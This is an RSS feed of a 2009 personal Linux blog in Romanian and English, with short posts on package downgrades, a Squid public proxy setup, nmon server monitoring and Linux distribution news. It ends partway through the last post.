<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>Badan Blog &#187; linux</title>
	<atom:link href="http://badan.wordpress.com/tag/linux/feed/" rel="self" type="application/rss+xml" />
	<link>http://badan.wordpress.com</link>
	<description>Cate oleaca despre toate</description>
	<lastBuildDate>Wed, 23 Dec 2009 09:35:26 +0000</lastBuildDate>
	<generator>http://wordpress.com/</generator>
	<language>ro</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<cloud domain='badan.wordpress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://www.gravatar.com/blavatar/723c5cfb1b4d431c6c5e4bfb6f3abdcb?s=96&#038;d=http://s.wordpress.com/i/buttonw-com.png</url>
		<title>Badan Blog &#187; linux</title>
		<link>http://badan.wordpress.com</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://badan.wordpress.com/osd.xml" title="Badan Blog" />
		<item>
		<title>Cum să-ți faci propriul hosting, la tine acasă</title>
		<link>http://badan.wordpress.com/2009/12/17/cum-sa-%c8%9bi-faci-propriul-hosting-la-tine-acasa/</link>
		<comments>http://badan.wordpress.com/2009/12/17/cum-sa-%c8%9bi-faci-propriul-hosting-la-tine-acasa/#comments</comments>
		<pubDate>Thu, 17 Dec 2009 12:36:25 +0000</pubDate>
		<dc:creator>Badan Sergiu</dc:creator>
				<category><![CDATA[internet]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[apache2]]></category>
		<category><![CDATA[hosting]]></category>

		<guid isPermaLink="false">http://badan.wordpress.com/?p=932</guid>
		<description><![CDATA[Mă întreba Valsis dacă aș putea descrie cum se instalează un sistem de linux, gata pentru a deservi pagini web. Citind blogul corporativ al companiei de hosting verolog.net am găsit un asemenea articol.
Cum să-ți faci propriul hosting.
În mare parte, tutorialul e destul de bun, adica, soluția e funcționabilă. Eu aș mai fi adăugat niște module [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=badan.wordpress.com&blog=945044&post=932&subd=badan&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p>Mă întreba <a href="http://valsis.ro/" target="_blank">Valsis</a> dacă aș putea descrie cum se instalează un sistem de linux, gata pentru a deservi pagini web. Citind blogul corporativ al <a href="http://www.verolog.net/news" target="_blank">companiei de hosting verolog.net</a> am găsit un asemenea articol.</p>
<p><a href="http://verolog.net/news/2009/12/14/cum-sa-%C8%9Bi-faci-propriul-hosting/" target="_blank">Cum să-ți faci propriul hosting.</a></p>
<p>În mare parte, tutorialul e destul de bun, adica, soluția e funcționabilă. Eu aș mai fi adăugat niște module în plus la apache, niște chestii de securitate, dar asta-i prea complicat pentru niște începători entuziaști &#8211; i-ar speria.</p>
  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/badan.wordpress.com/932/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/badan.wordpress.com/932/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/badan.wordpress.com/932/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/badan.wordpress.com/932/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/badan.wordpress.com/932/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/badan.wordpress.com/932/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/badan.wordpress.com/932/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/badan.wordpress.com/932/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/badan.wordpress.com/932/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/badan.wordpress.com/932/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=badan.wordpress.com&blog=945044&post=932&subd=badan&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://badan.wordpress.com/2009/12/17/cum-sa-%c8%9bi-faci-propriul-hosting-la-tine-acasa/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/8be926cdd4674e252f4e5efa711c639a?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">S.B.</media:title>
		</media:content>
	</item>
		<item>
		<title>Nmon devine Open Source</title>
		<link>http://badan.wordpress.com/2009/09/04/nmon-devine-open-source/</link>
		<comments>http://badan.wordpress.com/2009/09/04/nmon-devine-open-source/#comments</comments>
		<pubDate>Fri, 04 Sep 2009 11:31:29 +0000</pubDate>
		<dc:creator>Badan Sergiu</dc:creator>
				<category><![CDATA[hacker]]></category>
		<category><![CDATA[high tech]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[nmon]]></category>

		<guid isPermaLink="false">http://badan.wordpress.com/?p=783</guid>
		<description><![CDATA[(Articol doar pentru sysadmini, cititorul de rând îl va găsi foarte plictisitor)
Dacă vă aduceţi aminte, scriam cândva despre un instrument de monitorizare a performanţei calculatoarelor cu sisteme POSIX compatibile.
Azi am intrat la ei pe site, să văd dacă nu-i vreo înnoire, şi am descoperit că proiectul a devenit open source. Până acum el era un [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=badan.wordpress.com&blog=945044&post=783&subd=badan&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p>(Articol doar pentru sysadmini, cititorul de rând îl va găsi foarte plictisitor)</p>
<p>Dacă vă aduceţi aminte, scriam cândva despre un <a href="http://badan.wordpress.com/2009/03/06/instrument-de-monitorizare-a-serverelor-nmon/" target="_blank">instrument de monitorizare a performanţei calculatoarelor cu sisteme POSIX compatibile</a>.</p>
<p>Azi am intrat la ei<a href="http://www.ibm.com/developerworks/wikis/display/WikiPtype/nmon" target="_blank"> pe site, să văd dacă nu-i vreo înnoire, şi am descoperit că proiectul a devenit open source.</a> Până acum el era un proiect intern, al IBM, dar se ofereau binare şi pentru câteva distribuţii GNU/Linux, acum se oferă şi codul sursă.</p>
<blockquote><p><strong>nmon for Linux released to open source</strong> under GPL &#8211; it was an internal project at IBM for many years.</p>
<p>The source code and further information is available at Sourceforge and in particular at the new nmon for Linux wiki at <span><a rel="nofollow" href="http://nmon.sourceforge.net/">http://nmon.sourceforge.net<sup><img src="http://www.ibm.com/developerworks/wikis/images/icons/linkext7.gif" border="0" alt="" width="7" height="7" align="absmiddle" /></sup></a></span>.</p>
<p>This means that you can compile nmon for Linux for your specific Linux flavour and help improve it further.</p></blockquote>
<p>Sunt sigur că acest pas e foarte bun pentru proiect.</p>
<p>Am văzut că au îmbunătăţit şi<a href="http://www.ibm.com/developerworks/wikis/display/WikiPtype/nmonanalyser" target="_blank"> nmonanalyzer </a>- documentul Excel care<span id="more-783"></span> parsează fişierele csv generate de nmon. A apărut versiunea care poate analiza csv-urile generate pe mai multe maşini odată, creând un singur fişier de raport &#8211; <a href="http://www.ibm.com/developerworks/wikis/display/WikiPtype/nmonconsolidator" target="_blank">nmonconsolidator</a>. Mai am o doleanţă în privinţa acestui proiect: să porteze Nmon_Analyzer pentru OpenOffice.org.</p>
  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/badan.wordpress.com/783/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/badan.wordpress.com/783/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/badan.wordpress.com/783/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/badan.wordpress.com/783/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/badan.wordpress.com/783/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/badan.wordpress.com/783/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/badan.wordpress.com/783/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/badan.wordpress.com/783/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/badan.wordpress.com/783/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/badan.wordpress.com/783/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=badan.wordpress.com&blog=945044&post=783&subd=badan&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://badan.wordpress.com/2009/09/04/nmon-devine-open-source/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/8be926cdd4674e252f4e5efa711c639a?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">S.B.</media:title>
		</media:content>

		<media:content url="http://www.ibm.com/developerworks/wikis/images/icons/linkext7.gif" medium="image" />
	</item>
		<item>
		<title>Cum să faci downgrade la un pachet în Debian sau Ubuntu</title>
		<link>http://badan.wordpress.com/2009/08/25/downgrade-package-ubuntu-debian/</link>
		<comments>http://badan.wordpress.com/2009/08/25/downgrade-package-ubuntu-debian/#comments</comments>
		<pubDate>Tue, 25 Aug 2009 07:40:19 +0000</pubDate>
		<dc:creator>Badan Sergiu</dc:creator>
				<category><![CDATA[hacker]]></category>
		<category><![CDATA[high tech]]></category>
		<category><![CDATA[debian]]></category>
		<category><![CDATA[downgrade]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://badan.wordpress.com/?p=776</guid>
		<description><![CDATA[Uneori mai fac şmecheria de a schimba repozitoriile în Ubuntu, în loc de hardy schimb în jaunty, asta pentru a instala versiunea mai nouă a unor programe. Din această cauză, uneori apar probleme, că se instalează dependinţe mai noi, şi când încerc deja să instalez vreo aplicaţie din repozitoriile lui hardy, sistemus spune că depinde [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=badan.wordpress.com&blog=945044&post=776&subd=badan&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p>Uneori mai fac şmecheria de a schimba repozitoriile în Ubuntu, în loc de hardy schimb în jaunty, asta pentru a instala versiunea mai nouă a unor programe. Din această cauză, uneori apar probleme, că se instalează dependinţe mai noi, şi când încerc deja să instalez vreo aplicaţie din repozitoriile lui hardy, sistemus spune că depinde de o versiune mai veche a unei dependinţe, şi nu poate instala.</p>
<p>Când apar asemenea probleme, trebuie să instalăm versiunea aceea veche. Iată cum:</p>
<pre>$ apt-cache showpkg perl-base</pre>
<p>(asta pentru pachetul perl-base).</p>
<p>va afişa următoarele:</p>
<pre>Provides:
5.10.0-23 - perlapi-5.10.0 perl5-base libxsloader-perl libscalar-list-utils-perl
5.10.0-19 - perlapi-5.10.0 perl5-base libxsloader-perl libscalar-list-utils-perl</pre>
<p>Să zicem că pe noi ne interesează versiunea 5.10.0-19. Facem următoarele:</p>
<pre>$ sudo aptitude install perl-base=5.10.0-19</pre>
<p>Vedeţi bine, am pus numele pachetului (perl-base), semnul egal (=) şi versiunea care mă interesează.</p>
  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/badan.wordpress.com/776/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/badan.wordpress.com/776/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/badan.wordpress.com/776/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/badan.wordpress.com/776/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/badan.wordpress.com/776/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/badan.wordpress.com/776/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/badan.wordpress.com/776/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/badan.wordpress.com/776/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/badan.wordpress.com/776/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/badan.wordpress.com/776/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=badan.wordpress.com&blog=945044&post=776&subd=badan&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://badan.wordpress.com/2009/08/25/downgrade-package-ubuntu-debian/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/8be926cdd4674e252f4e5efa711c639a?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">S.B.</media:title>
		</media:content>
	</item>
		<item>
		<title>How to set up a public proxy server in some easy steps</title>
		<link>http://badan.wordpress.com/2009/05/01/how-to-set-up-a-public-proxy-server-in-some-easy-steps/</link>
		<comments>http://badan.wordpress.com/2009/05/01/how-to-set-up-a-public-proxy-server-in-some-easy-steps/#comments</comments>
		<pubDate>Fri, 01 May 2009 20:45:31 +0000</pubDate>
		<dc:creator>Badan Sergiu</dc:creator>
				<category><![CDATA[high tech]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[proxy server]]></category>
		<category><![CDATA[public proxy server]]></category>
		<category><![CDATA[squid]]></category>
		<category><![CDATA[tutorial]]></category>

		<guid isPermaLink="false">http://badan.wordpress.com/?p=513</guid>
		<description><![CDATA[This is an English translation of one of my previous posts.
I had to configure a public proxy server. On Internet I found few information on this, so I tried to see whether I can do it by myself, without any tutorial. It was quite simple.
In Debian/Ubuntu:
$ apt-get install squid squid-common
So, our proxy server is installed. [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=badan.wordpress.com&blog=945044&post=513&subd=badan&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p>This is an English translation of one of my previous posts.</p>
<p>I had to configure a public proxy server. On Internet I found few information on this, so I tried to see whether I can do it by myself, without any tutorial. It was quite simple.</p>
<p>In Debian/Ubuntu:</p>
<pre>$ apt-get install squid squid-common</pre>
<p>So, our proxy server is installed. We need to do some tweaking, in order to behave as a public proxy server.</p>
<pre>$ vim /etc/squid/squid.conf</pre>
<p>Find the line:</p>
<pre>http_access allow localhost</pre>
<p>and change it to:</p>
<pre>http_access allow all</pre>
<p>Save the file, and then restart squid:</p>
<pre>$ /etc/init.d/squid restart</pre>
<p>That&#8217;s all!</p>
<p>In Firefox preferences, at the proxy settings, put the ip of your new configured proxy server, and the port 3128.</p>
<p>If you plan to limit the access to your server just for your IP, add the following iptables rules on the server side:</p>
<pre>$ iptables -I INPUT 1 -p tcp --dport 3128 -j DROP
$ iptables -I INPUT 1 -p tcp --dport 3128 -s your-ip -j ACCEPT</pre>
<p>Now, that&#8217;s all!</p>
  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/badan.wordpress.com/513/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/badan.wordpress.com/513/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/badan.wordpress.com/513/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/badan.wordpress.com/513/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/badan.wordpress.com/513/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/badan.wordpress.com/513/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/badan.wordpress.com/513/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/badan.wordpress.com/513/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/badan.wordpress.com/513/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/badan.wordpress.com/513/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=badan.wordpress.com&blog=945044&post=513&subd=badan&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://badan.wordpress.com/2009/05/01/how-to-set-up-a-public-proxy-server-in-some-easy-steps/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/8be926cdd4674e252f4e5efa711c639a?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">S.B.</media:title>
		</media:content>
	</item>
		<item>
		<title>OpenGEU 8.10 &#8211; Luna Serena</title>
		<link>http://badan.wordpress.com/2009/03/18/opengeu-810-luna-serena/</link>
		<comments>http://badan.wordpress.com/2009/03/18/opengeu-810-luna-serena/#comments</comments>
		<pubDate>Wed, 18 Mar 2009 16:09:54 +0000</pubDate>
		<dc:creator>Badan Sergiu</dc:creator>
				<category><![CDATA[linux]]></category>
		<category><![CDATA[geubuntu]]></category>
		<category><![CDATA[opengeu]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://badan.wordpress.com/?p=413</guid>
		<description><![CDATA[A aparut versiunea 8.10 a distributiei OpenGEU. Numele de cod &#8211; Luna Serena (cred ca inseamna luna plina).
Iata pagina oficiala.
Includ un video mic cu el in actiune:

Mie mi-a placut (unii ar putea sa socoata ca-i prea sofisticat).
       <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=badan.wordpress.com&blog=945044&post=413&subd=badan&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p>A aparut versiunea 8.10 a distributiei OpenGEU. Numele de cod &#8211; Luna Serena (cred ca inseamna luna plina).</p>
<p><a href="http://opengeu.intilinux.com/" target="_blank">Iata pagina oficiala.</a></p>
<p>Includ un video mic cu el in actiune:</p>
<p><span style="text-align:center; display: block;"><a href="http://badan.wordpress.com/2009/03/18/opengeu-810-luna-serena/"><img src="http://img.youtube.com/vi/bZBGkuhiZCo/2.jpg" alt="" /></a></span></p>
<p>Mie mi-a placut (unii ar putea sa socoata ca-i prea sofisticat).</p>
  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/badan.wordpress.com/413/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/badan.wordpress.com/413/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/badan.wordpress.com/413/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/badan.wordpress.com/413/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/badan.wordpress.com/413/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/badan.wordpress.com/413/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/badan.wordpress.com/413/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/badan.wordpress.com/413/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/badan.wordpress.com/413/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/badan.wordpress.com/413/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=badan.wordpress.com&blog=945044&post=413&subd=badan&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://badan.wordpress.com/2009/03/18/opengeu-810-luna-serena/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/8be926cdd4674e252f4e5efa711c639a?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">S.B.</media:title>
		</media:content>

		<media:content url="http://img.youtube.com/vi/bZBGkuhiZCo/2.jpg" medium="image" />
	</item>
		<item>
		<title>Instrument de monitorizare a serverelor &#8211; nmon</title>
		<link>http://badan.wordpress.com/2009/03/06/instrument-de-monitorizare-a-serverelor-nmon/</link>
		<comments>http://badan.wordpress.com/2009/03/06/instrument-de-monitorizare-a-serverelor-nmon/#comments</comments>
		<pubDate>Fri, 06 Mar 2009 15:06:03 +0000</pubDate>
		<dc:creator>Badan Sergiu</dc:creator>
				<category><![CDATA[linux]]></category>
		<category><![CDATA[monitorizare]]></category>
		<category><![CDATA[nmon]]></category>

		<guid isPermaLink="false">http://badan.wordpress.com/?p=380</guid>
		<description><![CDATA[Saptamana trecuta m-am chinuit sa fac un script care sa genereze un cvs bazat pe outputul comenzii top, astfel ca sa-l pot folosi in generarea de rapoarte.
Scriptul s-a primit bine, colecteaza date despre sistem odata la 1 ora, dar cand am facut rapoartele, mai ales graficele, am ramas dezamagit. Comanda top arata gresit utilizarea cpu.
Asta [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=badan.wordpress.com&blog=945044&post=380&subd=badan&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p>Saptamana trecuta m-am chinuit sa fac un script care sa genereze un cvs bazat pe outputul comenzii top, astfel ca sa-l pot folosi in generarea de rapoarte.</p>
<p>Scriptul s-a primit bine, colecteaza date despre sistem odata la 1 ora, dar cand am facut rapoartele, mai ales graficele, am ramas dezamagit. Comanda top arata gresit utilizarea cpu.</p>
<p>Asta am inteles atunci cand am adunat utilizarea cpu de catre toate procesele, si am comparat cu cifra indicata de top pentru cpu. Astfel, un program utiliza 13 % CPU, dar top-ul imi spunea ca consumul CPU e de 8%. (eu folosesc &#8220;top -b -n 1&#8243;).</p>
<p>Sysstat-ul e bun, dar din cate am vazut, el tot nu poate face cvs-uri.</p>
<p>Am cautat si am gasit un instrument care face exact ce-mi trebuie mie: <a href="http://www.ibm.com/developerworks/aix/library/au-analyze_aix/" target="_blank">nmon</a>.</p>
<p>Instrumentul e facut de un angajat IBM, este versiune si pentru Linux. Instalarea e simpla: pe Debian &#8211; de copiat pachetul pentru Knoppix (dupa dezarhivare) in mapa /usr/local/bin/nmon . Eu am testat pachetul de RHEL, merge si pe Debian.</p>
<p>Dupa care executati comanda nmon .</p>
<p><a href="http://g4vault.com/viewer.php?file=ub8jm7ti7d7i5judndh.png"><img src="http://g4vault.com/images/ub8jm7ti7d7i5judndh_thumb.png" border="0" alt="ub8jm7ti7d7i5judndh.png" /></a></p>
<p>Mai sus este o captura de ecran cu nmon lucrand in doua terminale, pentru a avea o privire mai de ansamblu (am facut split lui yakuake). Imediat dupa executie veti vedea un ecran ajutator, cu lista de optiuni. Pentru a vedea acest meniu de ajutor, apasati &#8220;?&#8221; oricand.</p>
<p>Pentru a-l ascunde, mai apasati odata &#8220;?&#8221;. Chestia asta merge cu toate optiunile de acolo.</p>
<p>Iata ce monitorizez eu (in screenshot):</p>
<p>In partea stanga:</p>
<p>c = CPU by processor</p>
<p>m = Memory and <span id="more-380"></span>Swap  stats</p>
<p>t = Top Process Stats 1=basic 3=CPU</p>
<p>In partea dreapta:</p>
<p>v = Verbose Simple Checks &#8211; OK/Warnings/Danger</p>
<p>l = longer term CPU averages</p>
<p>n = Network stats</p>
<p>d = Disk I/O Graphs D=Stats</p>
<p>Pentru a rula nmon pasiv, ca sa colecteze date despre sistem, recomand:</p>
<pre>nmon -fT -s 900 -c 96</pre>
<p>Ce face aceasta comanda? Creaza un fisier cu statistici, in care baga odata la 900 secunde (15 minute) date noi, de 96 ori (24 ore).</p>
<p>Fisierul va fi creat in mapa din care executati, va avea extensia nmon. Cand se vor fi implinit 24 ore, veti executa:</p>
<pre>cat numele_fisierului.nmon | sort -A &gt; /tmp/raport-data_de_azi.csv</pre>
<p>Deschideti cvs-ul cu spreadsheet-ul preferat (OpenOffice.org sau M$ Excel).</p>
<p>Puteti adauga un cron. Editati /etc/crontab si adaugati urmatoarea linie:</p>
<pre>1 0 * * *     root     nmon -m /home/user/rapoarte -fT -s 900 -c 96</pre>
<p>folosim aici optiunea -m pentru a indica directoriul din care sa se execute comanda, si respectiv, in care se vor salva fisierele cu statistici.</p>
<p>Pentru informatie despre editarea /etc/crontab &#8211; vizitati <a href="http://www.adminschoice.com/docs/crontab.htm" target="_blank">acest site.<br />
</a></p>
  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/badan.wordpress.com/380/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/badan.wordpress.com/380/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/badan.wordpress.com/380/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/badan.wordpress.com/380/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/badan.wordpress.com/380/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/badan.wordpress.com/380/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/badan.wordpress.com/380/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/badan.wordpress.com/380/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/badan.wordpress.com/380/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/badan.wordpress.com/380/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=badan.wordpress.com&blog=945044&post=380&subd=badan&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://badan.wordpress.com/2009/03/06/instrument-de-monitorizare-a-serverelor-nmon/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/8be926cdd4674e252f4e5efa711c639a?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">S.B.</media:title>
		</media:content>

		<media:content url="http://g4vault.com/images/ub8jm7ti7d7i5judndh_thumb.png" medium="image">
			<media:title type="html">ub8jm7ti7d7i5judndh.png</media:title>
		</media:content>
	</item>
		<item>
		<title>Cadou pentru artisti &#8211; ArtistX</title>
		<link>http://badan.wordpress.com/2009/02/17/cadou-pentru-artisti-artistx/</link>
		<comments>http://badan.wordpress.com/2009/02/17/cadou-pentru-artisti-artistx/#comments</comments>
		<pubDate>Tue, 17 Feb 2009 16:50:31 +0000</pubDate>
		<dc:creator>Badan Sergiu</dc:creator>
				<category><![CDATA[linux]]></category>
		<category><![CDATA[artistx]]></category>
		<category><![CDATA[compiz]]></category>

		<guid isPermaLink="false">http://badan.wordpress.com/?p=315</guid>
		<description><![CDATA[Am aflat pe Distrowatch ca echipa ArtistX isi bucura utilizatorii cu o noua versiune a distributiei.
Ca sa fiu mai clar:
ArtistX este o distributie Linux.
Linux este un sistem de operare, gratuit, care poate fi folosit in locul Windows. Pentru ca este gratuit, si poate fi modificat de oricine, in lume sunt sute de versiuni diferite de [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=badan.wordpress.com&blog=945044&post=315&subd=badan&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p>Am aflat pe <a href="http://distrowatch.com/?newsid=05332" target="_blank">Distrowatch</a> ca echipa ArtistX isi bucura utilizatorii cu o noua versiune a distributiei.</p>
<p>Ca sa fiu mai clar:</p>
<p>ArtistX este o distributie Linux.</p>
<p>Linux este un sistem de operare, gratuit, care poate fi folosit in locul Windows. Pentru ca este gratuit, si poate fi modificat de oricine, in lume sunt sute de versiuni diferite de Linux (corect i se zice GNU/Linux), fiecare venind cu un set de programe preinstalate, iar aceste versiuni se numesc distributii.</p>
<p>Exista distributii pentru designeri (cu programe pentru design), <a href="http://edubuntu.org/" target="_blank">distributii pentru scoli</a> (cu programe educative), distributii pentru copii, pentru fete, <a href="http://ubuntuce.com/screenshots.htm" target="_blank">pentru crestini</a>, <a href="http://www.ubuntume.com/" target="_blank">pentru musulmani</a>, <a href="http://www.remote-exploit.org/backtrack.html" target="_blank">pentru hackeri</a>, <a href="http://www.musix.org.ar/en/index.html" target="_blank">pentru muzicieni</a> etc. Majoritatea distributiilor vin cu:</p>
<p>Browser Firefox (multe distributii vin cu flash si java instalate din start)</p>
<p>Pachet Office (similar lui Microsoft Office). In Linux ele-s mai multe, cel mai popular e OpenOffice.org</p>
<p>Pachet de editare grafica &#8211; GIMP, aproximativ la fel de puternic ca si Photoshop (ma face sa rad ca Microsoft include paint in toate versiunile sale, de la windows 95 pana la Windows 7)</p>
<p>Programe Multumedia (majoritatea distributiilor vin cu codecuri de-a gata)</p>
<p>Program vizualizare PDF (pe langa PDF mai vede si djvu, si multe alte formaturi)</p>
<p>Din orice program din care se poate tipari, puteti face documente PDF (print as PDF)</p>
<p>Si multe alte programe.</p>
<p>In majoritatea distributiilor instalarea unui program nou este simpla ca buna ziua. Pornesti un program, scrii cuvinte cheie, el iti gaseste toate aplicatiile care contin aceste cuvinte, selectezi aplicatiile pe care vrei sa le instalezi, si apesi un buton. Programul descarca din internet aplicatiile, le instaleaza, si-ti spune ca treaba-i facuta. Atat! Fara licente, next-next-uri. Astfel, indiferent ce distributie va instalati la inceput, puteti instala toate programele din alta distributie, in cativa pasi simpli.</p>
<p>Sa revenim la ArtistX. <a href="http://www.artistx.org/site2/" target="_blank">Aici este situl oficial.</a> Autorii au reusit sa includa in el peste 2500 programe care au treaba cu prelucrarea audio, video, imagini (pana si pdf-uri puteti prelucra, adica modifica).</p>
<p><a href="http://www.artistx.org/site2/index.php?option=com_rsgallery2&amp;Itemid=43&amp;gid=7" target="_blank">Aici sunt capturi de ecran.</a></p>
<p>Iata faimosul Compiz in actiune:</p>
<div class="wp-caption aligncenter" style="width: 629px"><a href="http://www.artistx.org/site2/images/rsgallery/original/17_roundcube.png"><img title="Compiz in Functiune" src="http://www.artistx.org/site2/images/rsgallery/original/17_roundcube.png" alt="Compiz in Functiune" width="619" height="463" /></a><p class="wp-caption-text">Compiz in Functiune</p></div>
